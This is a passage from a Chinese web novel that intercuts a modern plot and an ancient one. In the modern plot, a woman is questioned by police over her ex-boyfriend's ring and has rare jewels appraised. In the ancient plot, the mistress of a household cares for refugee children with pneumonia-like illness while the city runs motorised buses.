她也相信他们不会藏私。信任这种东西,对合作双方都很重要。 跟卫明说了一会话,袁淼就离开了,下午她就接到了电话,矿石已经准备要从兴达矿厂出发了。 袁淼立刻联系了林成章。矿石运到博云矿业后直接入了库。忙完这些,天已经黑了。袁淼和林成章一起吃了饭。 饭后从酒店出来,天下起了小雨。袁淼还要赶回魔都,便跟林成章分别了。 第二天被电话吵醒时,袁淼吓了一跳,赶紧简单收拾一番后下了楼。 客厅坐着的两位警察看到了袁淼,站起身,出具了他们的身份证明:“袁小姐你好,我们是阜县警局的,有件事情希望你能协助调查!” 袁淼连忙点头:“……请坐!” 她把近来自己经历的事情在心里捋了一遍,实在不知道哪里出问题。 一位女警察笑着说:“袁小姐不要紧张,我们是例行询问。” 袁淼干干笑了笑。她没法不紧张,上次警察找上门还是半年前,她因此跟父母好几天都没有联系。 现在,父母那边的局势依旧严峻,她不想再经历一次上次的事情了。 女警察拿出了一个文件袋:“袁小姐,你看看,这件东西,你认识吗?” 袁淼接过。透明的文件袋里面放着一枚银色戒指,造型新颖,但只是包银,并不贵重。她只看了一眼,心里就吓了一跳,但很快又发现了问题。 “认识,这是我送给……前男友的戒指!” 同样的戒指,她也有一枚。潘奇拉的银之心,三年前售价一百八十八元,加二十元,专卖店可以帮忙在上面刻字。 她的那枚戒指上刻着徐清阳名字后面的两个字,而徐清阳的那枚戒指上则刻着一个淼字。 就是眼前文件袋里的这枚戒指。 “袁小姐的前男友是……” 袁淼定了定神:“……徐清阳……他是不是出了什么事?” 女警察没有回答袁淼的问题,依旧询问:“袁小姐还记不记得购买戒指的具体时间?” 袁淼如实回答了。 三年前她刚进入社会,兜里比脸还干净,却在情人节这天走进了潘奇拉专卖店,缠着徐清阳买下了两枚戒指。 女警察记录了下来,又问了几个问题后,终于站了起来:“谢谢袁小姐!” 袁淼忍不住又问道:“是徐清阳出了事吗?” 女警察微微笑了笑:“不好意思,我们有规定!不能透露相关事情。” 袁淼点了点头,表示理解。 警察离开后,她在客厅里转了两圈,拨通了钟万程的电话。 电话那头的钟万程心情很好:“袁总,今天早上开会,大家还说起了您呢!昨天兴达矿厂运过来的那批矿石。测量数据出来!预计每吨含金量在15克到20克之间!” 袁淼也忍不住露出了笑容,每吨矿石含金量15到20克!这是相当高了! “这么高的含金量,非常少见!”钟万程感慨说,“还是袁总有办法!签下了兴达矿厂这条大金鱼!” 袁淼也很高兴,但她很快想起了刚才发生的事情:“钟总在阜县警局有认识的人吗?” “有。袁总有什么事情吗?” 袁淼把刚才发生的事情告诉钟万程。她想知道发生了什么事情?跟自己到底有没有关系? 钟万程一口答应了下来。 袁淼等了一会,没有等到钟万程的电话,倒是看到宋颜的来电。 她顿了顿才接。 “淼淼,你现在在家吗?” “在!” “好,我马上过来了!” “宋颜!”袁淼叫了一声。 电话那头宋颜的声音即便是隔着时空,也能听得出他的关心。 “怎么了?” “没什么!”袁淼定了定神,“你现在过来……有什么事情吗?” 电话那头的宋颜也顿了顿:“杜彦明出事了!” 袁淼愣了愣,才想起来杜彦明是谁:“他……怎么了?” “他前天就出来了。那天发生在酒店的事情,有人主动承认,加了料的酒是他带进去的,与其他人无关。不过,杜彦明昨天晚上被人打了,现在还在急救。” 袁淼一下子站了起来,“刚才警察来过我这里了!他们是不是怀疑这件事情跟我有关?” “警方在现场发现了一些线索……不过,你别担心。这件事情与你无关,昨天你一直在公司里,晚上跟林成章在一起吃饭,这些都有人证物证!” 袁淼咽了咽口水。其实昨天她并不是一直都有人证物证,至少晚上赶回魔都,她的人证就不太行。张青云是她的保镖,严格来说,是不能给她作证的。 至于昨天早上在兴达矿厂的事情,那就更不好说了。 挂了电话,袁淼失魂落魄坐了一会,正想着要不要跟王振声打个电话。手机响了。钟万程的电话终于打过来了。 “袁总,出事了!” “杜彦明昨天晚上被人打了!现在还在医院里急救!” 这些袁淼已经听宋颜说过了一遍。等到宋颜过来,袁淼才听到新的消息。 第118章 第118章 保胎 等到宋颜过来, 袁淼才听到了新的消息。警察之所以她,是因为他们在现场发现一枚戒指。 袁淼愣住了。 刻着她名字的戒指原来是在杜彦明被打的现场发现的,难怪警察会找上她了。 宋颜安慰说:“别担心, 阜县那边我已经安排了律师, 有什么事情, 他会及时反馈。” 袁淼垂下了眉眼。 戒指的事情宋颜都知道了, 其他事情想必也知道了不少。 “那枚戒指不是我的,是徐清阳的……他是我的前男友……” “刚才警察过来, 我也跟他们说了。” 宋颜听完后,点了点头:“徐清阳!这件事情可能跟他有关,警方应该注意到他了。” 袁淼依旧垂着眉眼,心里乱麻一样。她知道徐清阳是什么样的人。但事情真的是他做的吗? “杜彦明……伤得很重吗?” “应该不轻, 现在还在急救室。” 袁淼不说话了。她对杜彦明一点儿好印象都没有,但是这个人跟她的纠葛已经画了句号, 理应以后都不相干。 徐清阳,疯了吗? 宋颜看了袁淼一眼。 “对了,马上年底了,嘉世达要举办一个年终庆典活动, 全球征集臻品,你有没有兴趣参加?” 袁淼这才抬头:“嘉世达要举办年终庆典活动?有要求吗?” 宋颜笑了,“要求?自然是越稀缺,越珍贵,越好!” 袁淼想起了楼下储藏室的那些, 稀奇珍宝她不缺, 缺的是卖出去的渠道。父母那边还有几十箱没有传过来。 她看着宋颜,眼睛亮了起来:“宋颜,我是有几件臻品, 你能帮我掌掌眼吗?” “好啊!”宋颜笑着回答。 袁淼立马起身:“我马上来!” 她说完上了楼。宋颜一直看着她,直到不见人影了,他脸上的笑没了,像是一座雕像,清冷贵气,不可亲近。 摩挲着自己骨节分明的大手,目光落在左手五根光秃秃的手指上,好一会才挪开,又看向了楼上。 袁淼进了书房后,关了门,在暗格里的翻找一会。挑出了一个玉香炉,一串珍珠项链和一颗蓝宝石。 下楼的时候,她看到宋颜就笑了。把东西放在茶几上:“这三件,你看怎么样?” 宋颜挑了挑眉,侧身看了看后面:“你家的保姆今天不在吗?” “去卖菜了,要十一点才能回来。” 宋颜又笑了笑。先拿起玉香炉看。 “和田籽玉饕餮纹玉香炉,重约1200克,直径约16.5cm,高约10.5cm,雕工精美,胎质细腻洁白,是很难的顶级籽料……这件臻品能看到一千二百万,到一千五百万之间!” 袁淼看着宋颜仅凭一只手就量出饕餮纹玉香炉的重量和大小,心里佩服无比。 她知道现在和田籽料的价格逐年上涨,顶级籽料已经到一克上万元,二级籽料的价格也要每克五千元左右。 如果她的这件臻品真的是顶级和田玉籽料,那光凭重量就差不多要一千二百多万。 宋颜给出的价,跟她心里预期的价差不多。 不过,一般最终的拍卖价会超过估价。 袁淼又示意宋颜再看看其他两件。 “双排天然珍珠项链,圆润洁白,珍珠尺码约12.5mm,大小几乎一致,共有68颗珍珠!嘉世达去年也推出了一串珍珠项链,比这串略小,它有42颗珍珠窜成,不过,它搭配了同款珍珠吊坠、胸针及戒指,最后的拍卖价是三千六百二十万!” “这串珍珠项链,我估价一千五百万到二千万之间!” 袁淼高兴起来。珍珠她可不缺,足有好几百颗。 “这样大小的珍珠,现在一颗多少钱!” “珍珠的价格与品质、形状、颜色等等有关,一般直径越大的珍珠,价格也越昂贵。像这样约12mm的纯天然珍珠,非常罕见,一颗能到二十万左右。” 二十万,一颗珍珠! 袁淼的嘴角都压不下去了:“这颗蓝宝石呢?” 宋颜拿起来蓝宝石看了看:“这是顶级皇家蓝蓝宝石!鲜艳纯净!这颗裸石……” 袁淼连忙说:“我称量过了,76.5克拉。” 家里的宝石多了,她添了好几个克拉秤。 宝石不比其他,小小的一颗,重量以克拉为单位,用手很难估量出具体重量。 “76.5克拉的蓝宝石,又是顶级皇家蓝……2000年威席卡拍卖行曾拍卖一颗差不多的蓝宝石裸石,当时的拍卖价是362.4万美元,现在蓝宝石的价格比2000年时涨了不少,这颗蓝宝石,价格不会比威席卡拍卖的那颗蓝宝石低……” 三百六十万美元,那就是两千多万了! “这三件,你觉得哪一件适合参加这次嘉世达的年终庆典活动?” 宋颜又仔细看了看。 “我推荐珍珠项链,直径这么大的纯天然珍珠非常少见,难得的是这串项链的珍珠几乎一模一样。我给出的估价虽然只有一千多万,但我认为它最终的拍卖价应该能翻一番。” 袁淼心花怒放,点头说:“我相信你,我选这串珍珠项链参加嘉世达的活动!” 宋颜侧着头看着袁淼喜滋滋拿着珍珠项链端详,他脸上的笑又出来了,眸子里满是宠溺。 袁淼沉浸在欢喜中,她有很多珍珠,这般大小的不在少数。如果这串珍珠项链,嘉世达拍出了高价,她可以趁着这次的广告效应,在博云珠宝推出其他珍珠首饰。 出门买菜的保姆要回来了,袁淼把东西收了起来,这天中午留宋颜一起吃了饭。下午来到博云贸易,将需要购买的物资告诉了沈若臻。 站在办公室的落地窗前,看着底下密密麻麻如流水般过去的车流,袁淼想了想,把张青云叫了进来。让他去打听徐清阳的消息。 逃避不是解决问题的办法。 如果杜彦明的事情真的是徐清阳出手,那就说明他还没有死心。 张青云出去了,袁淼坐着,突然觉得有点冷了,不禁抱住了自己的胳膊。 * 警察找上门时,曾嘉宝还没起床,她赶紧让佣人帮忙收拾。 “怎么这么慢?你还想不想干了?” 曾嘉宝心急如焚,换好衣服,在女佣的帮助下穿好鞋子后,狠狠瞪了她一眼。又坐到镜子跟前开始整理妆容。 镜子里面照出的脸比从前大了一圈,既陌生又熟悉。 曾嘉宝看了一眼,就摔了手中的东西。 她讨厌怀孕!现在的她,又胖又丑! 都怪徐清阳! 女佣噤若寒蝉。别墅的佣人都知道,自打怀孕,他们的小姐比以前更难伺候了。 “过来呀!你没长眼睛吗?给我梳头!” 曾嘉宝见女佣半天不动,又骂了一声。女佣连忙过来。 收拾好后,出了房间。曾嘉宝就看到楼下客厅中坐着的三个人。 两位警察坐在徐清阳的对面。他们过来时徐清阳正要出门。 他一身西装得体,周身既有上位者的贵气,又有高端学府熏陶出来的儒雅,此刻手中正拿着一个什么东西。辗转着翻看,嘴角带着笑,语气有些惆怅:“……认识,这是我的前女友送给我的,那时候我大学刚毕业没多久,囊中羞涩……” 曾嘉宝已经走到楼梯口了,听了这话,心里的火腾一下烧了起来。 “……不过,这枚戒指,我已经丢失很久,你们在哪里找到的?” 徐清阳的话音还没落地,就听到一声大吼。 “徐清阳!” 他抬起头,还没有看清楚怎么回事,一个巴掌就摔到了他的脸上。 “徐清阳,你果然还想着袁淼那个贱人!你对得起我吗?我变成现在这副样子,都是你害的!” 曾嘉宝说着,一把夺过徐清阳手中的东西,看到是一枚戒指,她更生气了,仿佛看到袁淼就在跟前,气得胸口起伏不定,尖叫一声,将手中的戒指狠狠朝徐清阳脸上砸过去。 两位警察被眼前一幕惊呆,都来不及阻止,眼睁睁看着戒指在徐清阳脸上留下了一道印子。 徐清阳摸了摸脸,垂下的眼眸盖住了所有的心思。 曾嘉宝指着徐清阳,哽咽着说:“你对得起我吗?到现在还想着袁淼那个贱人!她有什么好?你们一个个像中了邪!她就是个狐狸精!” 她说着,抓起抓起茶几上的杯子,正要摔,突然感觉腹中一痛。连忙另一只手捂住,呻吟了一声。 旁边的女警察眼疾手快一把扶着曾嘉宝:“曾小姐,你怎么了?” 曾嘉宝的脸上像是被什么抹了一把,瞬间就没血色。 “我……肚子……好疼啊!” 徐清阳这时也反应了过来:“嘉宝,你怎么了?” 曾嘉宝看着他,脸上又狰狞起来,一把推开,但才至半途,又捂住了肚子,额头上豆大的冷汗也冒了出来。 “哎呀!夫人,你流/血了!”女佣尖叫了一声。 曾嘉宝低头一看,一条暗红色的血线正顺着她的小腿流了下来。 她眼前一花,往后倒去。 徐清阳也看到了,他的脸色变了,连忙把曾嘉宝从女警察手中接过,一把抱起来,对正慌神的管家和女佣说:“快!快叫医生!” 管事答应了一声。夫人的月份大人,别墅里早就安排医生护士。一个电话,他们很快来了。 徐清阳抱着曾嘉宝出了门,两个警察留在了后面。面面相觑。 “走吧!我们也一起过去看看吧!” 到了医院,曾嘉宝被推进了诊疗室。 徐清阳在门口焦躁来回走动。警察过来了:“徐先生……” 徐清阳看了看他们,脸上满是焦虑和担心:“抱歉,我现在无法回答你们的问题,我会让我的律师过来处理这件事情!” 警察们相互看了一眼,女警察说:“徐先生能把你的联系方式告诉我们吗?” 徐清阳拿出了手机。警察记下了号码后离开了,徐清阳松了一口气,像是打了一场战,在旁边坐了下来,一脸烦躁扯了扯领带。帅气儒雅的脸上罩上了一层阴霾。 第119章 第119章 琴瑟 马车停下来后, 谢云溪就迎了上去。 马车里面出来的妇人面容姣好,有些憔悴,正要行礼, 被谢云溪身边的念荟搀住了。 “姚夫人快别客气了!外面风大, 赶紧让人把孩子抱进去!别冻着了!” 张莲月道了谢。 她与谢云溪并不是第一次见面, 但以前说话并不多, 只知道他们夫妇是自家老爷的好友。后来听说袁博文中了举,这才在心里高看几分。 没想到, 不到一年,他们的身份就发生了翻天覆地的变化。 以前的秀才举人娘子成了北地有名的人物,她的夫婿更是令北凉人闻风丧胆,名声在泗阳关如日中天。 而她却成了辗转迁移的流民, 如今更是要寄人篱下了。 张莲月心里唏嘘,喉咙突然发痒, 但看到谢云溪的肚子,她连忙忍住了。 谢云溪引着张莲月进来,边走边说:“……知道你们要来,我昨日就让人收拾院子了, 但时间太紧,许多东西都来不及添置,姚夫人先去看看,差了什么,我赶紧差人去买!” 张莲月心里感激。他们从泗阳关出来的匆忙, 许多东西都来不及带上, 路上又遇到了土匪,到郴州城下时,跟满地的流民没有两样了。眼前的人不仅不嫌弃, 还邀请他们住下,这般客气。着实出乎她的意料之外。 “袁夫人太客气,您安排的定然极好,是我们叨唠了!” 张莲月说着又要道谢。谢云溪拉住了她:“姚夫人不要见外,到这里只管当自家一样,我们老爷和姚掌柜多年的交情,这些事情不是理所应当的吗?” 张莲月再也说不出客气的话了。 谢云溪看出张莲月的脸色不好,又说:“你们一路上辛苦了,我已经让人备了热水……瑟儿的事情,我也知道了,夫人要节哀,千万要往前看!” 张莲月的眼圈红了。要不是想着还有两个孩子,这一次,她一定熬不过来。 “……多谢袁夫人,我们老爷能遇到贤伉俪,既是他的运气,也是我们的福气!” 想到病中的孩子,张莲月抓住了谢云溪的手:“袁夫人能不能再替我们请个郎中,我的琴儿还在病中!” 谢云溪连忙拍了拍张莲月的手,“姚夫人宽心,我已经让人去请了!姚小姐到底什么情况,你能跟我先说一说吗?” 张莲月连忙擦了擦眼角。她听姚青山说过,袁夫人治病救人很有一手。 听张莲月说了姚琴患病的经过,谢云溪心里有数了。她估计孩子应该是冷热不均感冒了。 双胞胎,也不知道是哪一个先开始的,另一个很快就有了同样的病症。 逃难路上,再有钱,也不一定能请到郎中。两个孩子平时体质原本就娇气,弱的那个拖了几天,就这么没了。体质好的姚琴,拖的时间太长了,情况也越来越不好。 谢云溪加快了脚步。到了院子里,进了房间后,就让人把姚琴抱了过来。她不敢托大,也没忘记自己还是个大肚婆。借着摸孩子手的机会,看了看她的基本体征。 孩子的精神很差,怏怏的,呼吸急促,喉咙里也有痰,而且,感觉在深处。见到生人也不想理,歪在张莲月的怀里,拿一双大眼睛看着人。 “这孩子长得真好!”谢云溪笑着说。 张莲月心里苦涩,她已经不是第一次听到这样的话了,但以前是两个孩子,粉雕玉琢,穿着一模一样的衣裳,那才叫真正有趣。 她怀疑谢云溪到底会不会看病,就这么摸了摸手,能看出什么?她不懂。但也不敢明言,强撑着跟谢云溪说:“已经瘦了些,前些时候手和腿都是一截一截的。” 谢云溪一脸了然:“你们一路上过来辛苦了。不过以后就好了,到了郴州,等安定下来。孩子很快就能养回去!” 张莲月不敢这么想。刚到泗阳关的时候,她也是这种想法,可如今才过去了多久? 从泗阳关出来的时候,她想往南边跑的,但老爷说,往南边跑不行,他们都是妇孺,跑不过北凉骑兵。 要往北跑,姚家的根基在北地,郴州城的袁博文是他的好友,别的不说,那里至少没有北凉人。 但是这种情况,谁知道能维持多久?北凉人都进关了,南边也打了起来,被团团围住的郴州许是下一刻就能再次被北凉人占领。 两人说着话,郎中来了。谢云溪连忙起身,给了念荟一个眼色,让她跟过去一起看看。 郎中把了脉,又看了舌苔,询问了患病经过,末了,念荟把人请到外面开方子。 张莲月也跟了出来。 郎中皱着眉头:“这是外感风寒,内有痰热所致,若是早些时候,倒也不难医治,眼下有些麻烦了。” 张莲月吓得脸色都白了:“怎么麻烦了?先生只管说!只要我们能做到,必会竭尽全力。” 郎中想了想:“我且开个方子,先用几日药看看。若是患儿喉中浓痰能够出来,那就不要紧。” 张莲月道了谢,郎中开了方子,她让小厮陪着郎中一起过去拿药。 谢云溪连忙叫住郎中:“烦劳先生给姚夫人也一起看看!” 张莲月连忙道:“我不要紧,休息两天就好了。” 谢云溪笑着说:“先生都请了,一起看吧。” 张莲月不好反驳谢云溪,只得接受。 郎中看过张莲月后:“夫人与小姐的病症差不多,也有痰多之症,且肺气郁闭,痰热壅肺……” 谢云溪听明白了,差不多的诊语她以前也听过,肺气郁闭,痰热壅肺,大概跟现代肺炎差不多。 估计张莲月的病是两个孩子传给她的。感冒传染,中医通常说成外邪入侵,西医则描述成细菌病毒传染。 郎中开了方子后,姚家的小厮跟着去拿药了。谢云溪估计张莲月要收拾一番,便没有久坐,离开了安置姚家人的院子。 路上,她问念荟:“你觉得姚夫人和姚小姐是什么病?” 念荟想了想:“我听着姚小姐像是支气管炎,姚夫人应该是肺炎。” 谢云溪点了点头。她的看法跟念荟一样。 中医治疗炎症的效果不好说。尤其支气管炎,西医用上平喘化痰的药物后,能较快缓解症状,中医就差点意思了。 其实幼儿化痰,使用雾化器能够起到不错的效果。但是谢云溪担心她拿出的雾化器会过不了姚青山那一关。 姚青山这人,走南闯北多年,可不是一两句话就能糊弄过去的。 回到院子里后,谢云溪仔细洗了手和脸,又换了一身衣裳。到里面的小药房中挑了几种药出来,分别碾成粉剂,让念荟带上了,去姚家那边看情况给药。 念荟来到姚家人所住的院子里时,里面正兵荒马乱。 小厮拿到了药,但是熬出来的药,姚琴怎么都不肯喝,一张小嘴闭得紧紧的,就是不张开。 一番折腾,孩子喘得更厉害了,头上身上都是汗。 张莲月既心疼,又难受。索性发了狠,紧紧抱着孩子,捏住她的鼻子,强行撬开了她的嘴。 一勺药灌下去,孩子不仅不咽,还猛烈呛咳了起来,脸色都变了。 张莲月吓坏了。 念荟见状,连忙说:“我来试试吧!” 张莲月心都碎了,慌得不行,身边的丫头婆子也吓破了胆。 念荟接过孩子后,连忙抠出她嘴里的药,将她趴在自己的腿上,脸朝下,轻轻拍了一会。 孩子停止了呛咳,但脸色依旧不好,念荟哄了一会,孩子终于安静了下来,睡着了。 张莲月不禁哭出声了。 念荟安慰说:“夫人别心急,姚小姐不愿喝药,最好不要硬灌。” “可若是不用药,这病如何能好?” 念荟犹豫了片刻,拿出了谢云溪准备的药:“姚夫人,这是我们夫人配置的药,气味不重,许是姚小姐肯喝。一会儿姚小姐醒了,可以让她试试看。” 张莲月止住了哭,一脸疑惑。 袁夫人就摸了摸她女儿的手,头靠近听了听声音,就诊出她女儿患了什么病吗? 念荟又说:“我们夫人配置的药跟齐郎中的不一样,不仅气味不重,颜色也跟寻常温水差不多。” 张莲月接过,心里依旧不敢相信,但她确实没有其他办法了。 “这药不苦吗?” 念荟摇头:“也是苦的,只是气味不重。” 张莲月才热乎一点儿的心又凉了下来。她养的几个孩子每次得病就像是一场劫难。都不肯喝药。 但袁夫人的好意她得心领。 张莲月道了谢。 念荟也没有着急离开,等到姚琴睡醒后,她逗着孩子玩了一会,就把药端了过来。 姚琴一见这架势,立马将头转了过去。 念荟哄着说:“这可不是药!小姐不信,尝一尝就知道了!” 哄了一会,姚琴才把头转过来。念荟自己喝了一口,津津有味说:“真好喝!” 姚琴看向念荟手中的瓷碗,见里面果然不再是黑乎乎一团,这才肯张口。 念荟赶紧将加了少许白糖的药水喂进了孩子的嘴里。 姚琴喝了下去,一点儿都没有反抗,喝完后,眼睛还盯着念荟手中的碗,那样子分明还想喝。念荟趁机喂了些温水。 张莲月心里悬起的石头落了地,抱着姚琴一顿亲:“娘的心肝宝贝真乖!” 一旁的丫头婆子们也都露出了笑容。 念荟将谢云溪给姚琴配好的药留了下来,交待了用法后,离开了。回去后,将这些事情告诉了谢云溪。 “夫人给姚夫人配的药,我没有拿出来。我过去的时候姚夫人已经用过了药,我担心郎中开的方子与夫人的药相冲,就没有拿出来。” 谢云溪笑着说:“你这样想很对,药物和药物之间有时候是有配伍禁忌的,不能同时服用。姚夫人既然已经用过了药,咱们的药就不用拿出来了。” “一会儿到了再次服药的时间,你再过去看看,把淑婉和冬梅也一起带过去看看,顺便跟她们讲一讲这些。” 枫叶巷那边的织坊开起来后,谢云溪就把两个想学医的女孩和沈悦兰都带了过来,就安置后面的院子里,跟宋婆婆她们住在一起。 念荟答应下来。到了时间,她就带着叶淑婉和胡冬梅又去了一趟。 姚青山过来的时候,天已经黑了,姚琴已经睡下。看到女儿的睡容,姚青山问道:“郎中是不是已经来看过了?” 张莲月咳了一声,笑着说:“是的呢。是袁夫人请的!我们过来的时候,这院里都收拾好了!袁夫人热心爽朗,我以前竟然不知道。” 姚青山笑了笑:“子虚伉俪二人属实不错,不仅热心,也见多识广,你跟他们相处久了,自会明白。” “我今日就明白了!今日要不是袁夫人和她身边的念荟帮忙,我都要闯下大祸了!” 姚青山愣了愣:“什么大祸?” 张莲月看着床上熟睡的孩子,眉眼柔和了下来。将请了郎中后,姚琴不肯喝药,她们硬灌的事情告诉了姚青山。 姚青山吓了一跳。他才没了一个女儿,要眼前的这个再出事,别说张莲月了,他都承受不住。 “怎么能硬灌呢?后来呢?” 张莲月咳了几声。 “……幸亏念荟姑娘来了!她把琴儿放在膝盖上拍了两下,琴儿就不咳了。还拿出了袁夫人配好的药,哄着琴儿喝下了!她可真有办法!” “你以前说袁夫人医术了得,我总是不相信,今日我是服了。你看看琴儿,袁夫人拿过来的药,她就吃了两次,现下睡得多好!” 姚青山看着熟睡的女儿,点头。 这几天,他都要愁死了。迁移路上,不仅天寒地冻,还有土匪,还要防备着北凉的人各种盘查。再有钱,在这样的境地里,也活不好。 一路上过来,家里的人连接生病,有钱都找不到郎中。他已经没了一个女儿,另一个眼看就要不好。醒着时候那嗓子里的声音像是在抽风,呼啦呼啦,听得人心都跟着悬了起来。 睡着的时候更吓了,那呼吸声比平时快了不止一倍,听得人心惊肉跳,生怕下一刻就接不上了。 昨天进了城之后,他赶紧请了一个郎中。郎中皱着眉头,虽然开了方子,但言语之间诸多迟疑。 他一听就知道,郎中也觉得不太好。 但是现在女儿睡着了,呼吸的声音也有些快,可比先前好多了。脸上也有了些血色。分明是在好转。 袁夫人的医术确实不一般! “你也在咳,没有请袁夫人看看吗?” 张莲月感觉嗓子发痒,连忙转过头,掩住了嘴,轻咳了两声。 “我没好意思开口,袁夫人有孕在身,又帮了我们这么多。不过,郎中给我看过了,想来用几天药后,应该就能好。” 姚青山皱着眉头:“袁夫人的医术跟其他郎中能一样吗?你应该请她看看。” 张莲月笑了笑,她其实很有些心动,女儿的情况好转的太快,袁夫人的药效果确实不一般。 “对了,咱们在枫叶巷的宅院,能拿回来吗?” 姚青山掏出钥匙,放到桌子:“钥匙我都拿到了!今日,我去府衙那边一说,人家就把东西给我了。不过,里面实在有些乱,确实不能住人!至少要收拾好几天!” 他说着,叹了口气。 “这宅子能这么快拿回来,我属实没想到!要不是子虚,那里现在哪有咱们的份?” 张莲月点头。她也知道自己带着孩子们离开郴州后,家里的宅院,铺子,城外的庄子土地等都被人占了去。其中枫叶巷的宅院更是住进北凉人。 落到北凉人手上的东西,怎么可能好? 第120章 第120章 市场 “梧桐巷那边的铺子呢?还有城外的庄子和地, 这些也能拿回来吗?” 张莲月问出这话的时候,一点儿自信都没有。如今郴州城里的人几乎都换了一茬,他们进城的时候就发现了枫叶巷那边宅院的左右邻居都不是原来的人家了。 物是人非, 什么都变了。 “铺子我去问了, 应该没问题。城外的庄子和地, 恐怕有些麻烦。” 张莲月想到自家庄子的那些好, 叹了口气:“都怪我,离开的时候只顾着害怕了, 要是那会把地契带上就好了!” 姚青山闻言却摇头:“你们在城外,房产地契等之类在城里,北凉人都进了城,除非是不要命了, 才会在那时候进城里拿东西!” “别想那么多了!咱们能拿回宅院和铺子已经万幸。” 张莲月想了想,又叹了口气。 姚青山歪在塌上, 想着今日见到的那些,感觉像是在做梦,张莲月催促他去洗漱,他也没动。好一会后, 突然感慨了一句:“这郴州城真的不一样了!” 张莲月回头看了一眼:“这些你不是在进城的时候就发现了吗?不过,咱们的宅院和铺子都在,倒也还好!” 姚青山摇头:“我不是说这个。眼下的郴州城看起来不如从前,却井然有序!我觉得比泗阳关那会还好!” 张莲月见他说得稀奇,不由得一笑:“泗阳关, 还是比不上吧?” 姚青山又摇头:“泗阳关看着热闹, 那是人多,其实底下乱的很,当街抢杀的事情没少发生, 拉帮结派的情况到处都有,谁有能耐,谁就可以肆意妄为!” 张莲月默默听着,这些都是事实,从北地逃进关的人不少,一条巷子里都能分出好几个帮来,从郴州过去的,那是郴州帮,从商州过去的,则是商州帮。谁的拳头大,谁就是老大,巡防队形同虚设。她们在那里,鲜少出门。 “郴州城的人,虽然也多,流民也不少,但鲜少有闹事的!街上干干净净,一切井井有条。”姚青山说着,眼睛发亮看过来,“你猜,我今天在郴州城里看到了什么?” 张莲月摇头。 他们至进了城,就住进了客栈,今日一早袁府的马车就过来接人了。她进了袁府,就没有出过门。 “班车!”姚青山兴致勃勃说,“郴州城门口有一趟通往晋州的班车!那车比马车大多了!不用马拉,也不用骡子拉,自己就能动!里面能坐二三十人!坐上班车,从郴州到晋州,仅仅只要一个多时辰!” 张莲月愣住了,想起了听到的传闻。袁博文麾下有一支神奇的军队,他们开着铁车,带着奇怪的兵器,能将数里之外的城墙轰烂,将所到之处夷为平地。简直战无不胜,攻无不克! “是……铁车吗?”张莲月低声问。 姚青山愣了愣,笑着摆手。铁车之说,是民间对袁博文麾下神/器营中一种运输车的称谓。传闻这种车别于常见的马车,车身是铁制,便冠以铁车称谓。 他也没见过,听到的时候惊奇无比,但也知道传闻多半不实。今日大开了眼界。 郴州城里真有一种无需外力拉动的车! 不过,那班车周身虽然也是铁制,但车里面的布置却并不都是铁。没有外力拉动,自己就动,是因为前面有人在操控。 但究竟怎么运作的,他看了许久,依旧不明究竟。那操控台被包了起来,从前面透明的罩子看过去,里面的东西奇形怪状,他一个都不认识。 巡防营的人站在班车旁边,没有车票的人一律不能靠近。周围跟他一样好奇的人不少,但没有一个人能说出所以然来。 姚青山将今日看到的班车形容了一番。张莲月也傻眼了。 传闻原来是真的!袁子虚麾下真有一支战无不克的军队! “我已经让福贵去排队买票了!这班车,我一定要坐一坐!” 张莲月缓过神来:“你要去晋州?咱们才到这里,你又要走吗?如今外面可不太平!” 姚青山笑着说:“我只是让福贵去排队买票。这班车可紧俏了,得提前好几天才能买到票,且并不是人人都能乘坐,需通过身份审核才行!” “而且班车上有随车护卫!那些护卫可都是神器营出来的!” 张莲月不说话了,她没见过车,不知道班车长什么样子,姚青山刚才的形容并没能让她在脑海里有个确切的形象。 姚青山则是憧憬无比,他自认见识颇多,今日也大吃了一惊。 第二天起来,姚青山皱着眉头,对张莲月说:“你还是让袁夫人看看吧!” 张莲月夜里没有睡好,脸色憔悴,轻咳了几声后应下了。打起精神,穿好衣裳后去看女儿。 姚琴已经醒了,虽然呼吸依旧有些急促,但比前几日好多了。一张小脸粉嫩粉嫩,看到张莲月,就笑着张开了手,要张莲月抱。 张莲月的心都化了,抱起孩子,问夜里照顾的奶婆子:“小姐昨日夜里睡得可好?” 婆子笑呵呵说:“比前几日好多了!老爷夫人看过后,小姐后来一直没醒,一觉睡到了天亮!” 张莲月心里踏实了,对谢云溪又多了几分感激。 姚青山则来到前院,但袁博文已经不在府里,他心里有些遗憾。昨日看过班车后,他有许多问题。即便知道有些事情不能随便打听,但他实在心痒。不过,袁博文不在府上,他也只能作罢。 带着小厮去了梧桐巷的宅院,看到宅院里面一片狼藉,姚青山也觉得头疼。 可惜郴州已经不是他熟悉的郴州了,身边能用的人也不多。姚青山正准备去找中人联系工匠修缮整理,谢云溪派过来帮忙的人到了。 姚青山心里感激,客气了一番,便把这边交给管事和袁府派过来帮忙的人。 郴州城门口的班车早已出发了,府衙门口排队买票的人还是有很多。姚青山昨日夜里派出来的福贵依旧在队伍后面。 姚青山让身边的小厮把福贵换下来:“你们不是从夜里就开始排吗?怎么还在这里?” 福贵叫苦:“老爷,这不能怪我们,属实是买票的人太多了。这些人都是排了好几天的,我们来的有些晚了。” 姚青山愣住了,抬眼看了一会后,果然发现队伍里的人大多数都是昨日见过的。 他一时无语。但班车实在诱人。 “好了,你们继续排吧,买到了票赶紧回来。” 丢下几两碎银子,姚青山离开了。 梧桐巷姚记的两间铺子依旧关着门,这里原是郴州城最热闹的地方,如今萧条了许多。 不过,走到巷子口时,人突然多了起来。 姚青山停下脚步,看向旁边的两家铺子。 谢记粮行,谢记布庄。 这应该是一家开的。东家姓谢吗? 姚青山在脑海里过了一遍,郴州城姓谢的人不少,但开粮行和布庄的并没有。 新开的铺子,生意居然这么好! 姚青山走进了谢记粮行。里面人头攒动,墙上挂着今日售卖的米粮种类和价格,粟米黍米米糠大豆等都有,价格也不算高。 姚青山又看向旁边的米粮,愣了愣,弯下腰身后,明白了这家米粮铺子为何生意这么火爆了。 米粮的品质好! 不管是粟米还是黍米,竟然都颗粒饱满,一点杂质都没有!颜色也很好!米香浓郁! 米糠也干干净净,米多糠少,份量实在!这很难得,米糠便宜,制作起来也简单,石碾子碾过,怎么都少不了杂质。一般是穷苦人家才吃。 有些商家为了多赚钱,还会将石碾子碾过的好粮收起来,再加些杂碎进去。这种米粮原本就只能保障裹腹,品质好不好,口感如何,并没有多少人在意。 姚青山暗暗点头。东家实在,童叟无欺,难怪生意火爆了。 有人从旁边过去,姚青山被她抱着的一个东西吸引了,不由得也跟了过去。 那妇人把东西放在柜台上:“掌柜的呢?袁掌柜在不在?” 